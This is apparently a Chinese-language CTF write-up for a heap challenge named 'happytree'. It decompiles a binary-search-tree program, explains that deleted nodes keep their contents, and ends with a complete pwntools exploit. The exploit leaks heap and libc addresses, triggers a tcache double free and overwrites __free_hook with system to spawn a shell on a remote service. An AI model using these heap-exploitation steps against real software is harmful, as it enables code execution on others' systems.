分析代码
main函数
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3;
int num;
unsigned int data;
unsigned __int64 v6;
v6 = __readfsqword(0x28u);
setbuf();
while ( 1 )
{
while ( 1 )
{
menu();
std::istream::operator>>(&std::cin, &num);
if ( num != 2 )
break;
data = get_data();
root = Delete((__int64)root, root, data);
}
if ( num > 2 )
{
if ( num == 3 )
{
data = get_data();
Show((__int64)root, root, data);
}
else
{
if ( num == 4 )
exit(0);
LABEL_13:
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild Command");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
}
else
{
if ( num != 1 )
goto LABEL_13;
data = get_data();
root = (__int64 *)Insert(root, root, data);
}
}
}
主要功能有插入节点、删除节点、打印节点存储的数据。
Insert 函数
__int64 __fastcall Insert(__int64 *a1, __int64 *a2, unsigned int data)
{
__int64 *a1a;
a1a = a2;
if ( a2 )
{
if ( (signed int)data >= *(_DWORD *)a2 )
{
if ( (signed int)data > *(_DWORD *)a2 )
a2[3] = Insert(a2, (__int64 *)a2[3], data);
}
else
{
a2[2] = Insert(a2, (__int64 *)a2[2], data);
}
}
else
{
a1a = (__int64 *)operator new(0x20uLL);
*(_DWORD *)a1a = data;
a1a[1] = operator new[]((unsigned __int8)data);
std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
read(0, (void *)a1a[1], (unsigned __int8)data);
}
return (__int64)a1a;
}
操作是在二叉树上进行,二叉树的节点结构如下图所示。 其中 data 为 content 部分的数据最大长度,同时也是二叉树比较节点时的的依据;left son 和 right son 指向左右儿子节点,左儿子的 data 严格 小于该节点的 data ,右儿子的 data 严格 大于于该节点的 data;content 为节点存储的数据内容。 Insert函数就是正常的二叉树插入操作。 注意,如果插入的节点的 data 在树中已经存在则不操作。
Delete 函数
_QWORD *__fastcall Delete(__int64 a1, _QWORD *a2, signed int data)
{
_QWORD *v4;
__int64 *next;
v4 = a2;
if ( !a2 )
return 0LL;
if ( data >= *(_DWORD *)a2 )
{
if ( data <= *(_DWORD *)a2 )
{
if ( a2[2] && a2[3] )
{
next = find_next(a1, (__int64 *)a2[3]);
*(_DWORD *)a2 = *(_DWORD *)next;
a2[3] = Delete(a1, (_QWORD *)a2[3], *(_DWORD *)next);
}
else
{
if ( a2[2] )
{
if ( !a2[3] )
v4 = (_QWORD *)a2[2];
}
else
{
v4 = (_QWORD *)a2[3];
}
operator delete((void *)a2[1], 1uLL);
operator delete(a2, 0x20uLL);
}
}
else
{
a2[3] = Delete(a1, (_QWORD *)a2[3], data);
}
}
else
{
a2[2] = Delete(a1, (_QWORD *)a2[2], data);
}
return v4;
}
首先找要删除的节点,如果找不到就返回 0 。 对于要删除的节点,如果有一个孩子,则直接删除该节点; 否则 find_next 函数找到大于该节点的最小节点,然后交换节点内容,再删除大于该节点的最小节点。 (不知道是ida反编译的问题还是写的有bug,不过此方法不会遇到这个情况) 注意被删除的节点未清除节点内的信息。
Show
__int64 *__fastcall Show(__int64 a1, __int64 *a2, int a3)
{
__int64 *result;
__int64 v4;
__int64 v5;
__int64 *v6;
result = a2;
v6 = a2;
if ( a2 )
{
while ( v6 )
{
if ( a3 == *(_DWORD *)v6 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
v5 = std::operator<<<std::char_traits<char>>(&std::cout, v6[1]);
return (__int64 *)std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
if ( a3 <= *(_DWORD *)v6 )
result = (__int64 *)v6[2];
else
result = (__int64 *)v6[3];
v6 = result;
}
}
else
{
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Not Find");
return (__int64 *)std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
return result;
}
查找节点并打印 content 。
利用过程
tcache 泄露堆地址,以及 tcache double free 中的第一次 free
add(0x25, '0')
add(0x10, '1')
首先向二叉树中添加两个节点,二叉树结构如下图: 然后依次删除节点,其中 0x20 大小的 chunk 之后用来 tcache double free 。
free(0x25)
free(0x10)
此时 tcache 结构如下:
add(0x25, 'A')
show(0x25)
p.recvuntil("content: ")
heap_base = u64(p.recv(6).ljust(8, '\x00')) - ord('A')
此时再添加 0x25 的节点,则二叉树结构如下: 由于chunk打印节点 0x25 的内容即可泄露堆地址。
unsorted bin 泄露 libc 基地址
清空二叉树,避免复杂化,为此次攻击做准备。
free(0x25)
添加节点然后删除,利用删除节点不清空 chunk 内容的漏洞,伪造一个右儿子为接下来添加假节点做准备。
add(0x25, p64(0) * 3 + p64(heap_base + 0x140))
free(0x25)
向树中加入节点,在 content 中构造 fake chunk ,而 fake ringt son 正是指向该 fake chunk 。fake chunk 的 content 指向 setvbuf 产生的 io 缓冲区 chunk 。
add(0x90, p64(0) * 3 + p64(0x31) + p64(0x30) + p64(heap_base - 0x11e00 + 0x260) + p64(0) * 3 + p64(0x21))
add(0x20, 'p')
再次添加节点,利用 fake right son 的chunk 将 fake node 添加到树中。此时二叉树的结构如下:
free(0x30)
add(0x30, 'A')
show(0x30)
p.recvuntil("content: ")
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3ec441
leak('libc base ', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
释放 0x30 节点 ,io 缓冲区进入 unsorted bin 。再次添加 0x30 节点,由于没有 0x40 大小的 chunk ,因此content 的 chunk 来源于 unsorted bin ,因此打印 0x30 节点即可获取 libc 基地址。
tcacke double free 修改 __free_hook 获取 shell
free(0x90)
add(0x90, p64(0) * 3 + p64(0x31) + p64(0x30) + p64(heap_base + 0x100) + p64(0) * 3 + p64(0x21))
删除然后添加 0x90 节点,修改节点内容,使 0x30 的 context 变为位于 tcache 中的大小为 0x20 的 chunk 。 然后再次删除 0x30 节点触发 tcache double free ,之后就是常规的修改 __free_hook 得到 shell 。
free(0x30)
add(0x18, p64(free_hook))
add(0x17, '/bin/sh\x00')
add(0x16, p64(libc.sym['system'] + libc_base))
free(0x17)
完整 exp
from pwn import *
leak = lambda name, addr: log.success('{0}\t--->\t{1}'.format(name, hex(addr)))
binary = './happytree'
libc = './libc.so.6'
context.binary = binary
context.log_level = 'debug'
p = remote('124.71.147.225', 9999)
elf = ELF(binary, checksec=False)
libc = ELF(libc, checksec=False)
def add(size, data):
p.sendlineafter("cmd> ", str(1))
p.sendlineafter("data: ", str(size))
p.sendafter(": ", data)
def free(size):
p.sendlineafter("cmd> ", str(2))
p.sendlineafter("data: ", str(size))
def show(size):
p.sendlineafter("cmd> ", str(3))
p.sendlineafter("data: ", str(size))
add(0x25, '0')
add(0x10, '1')
free(0x25)
free(0x10)
add(0x25, 'A')
show(0x25)
p.recvuntil("content: ")
heap_base = u64(p.recv(6).ljust(8, '\x00')) - ord('A')
leak('heap ', heap_base)
free(0x25)
add(0x25, p64(0) * 3 + p64(heap_base + 0x140))
free(0x25)
add(0x90, p64(0) * 3 + p64(0x31) + p64(0x30) + p64(heap_base - 0x11e00 + 0x260) + p64(0) * 3 + p64(0x21))
add(0x20, 'p')
free(0x30)
add(0x30, 'A')
show(0x30)
p.recvuntil("content: ")
libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3ec441
leak('libc base ', libc_base)
free_hook = libc_base + libc.sym['__free_hook']
free(0x90)
add(0x90, p64(0) * 3 + p64(0x31) + p64(0x30) + p64(heap_base + 0x100) + p64(0) * 3 + p64(0x21))
free(0x30)
add(0x18, p64(free_hook))
add(0x17, '/bin/sh\x00')
add(0x16, p64(libc.sym['system'] + libc_base))
free(0x17)
p.interactive()
|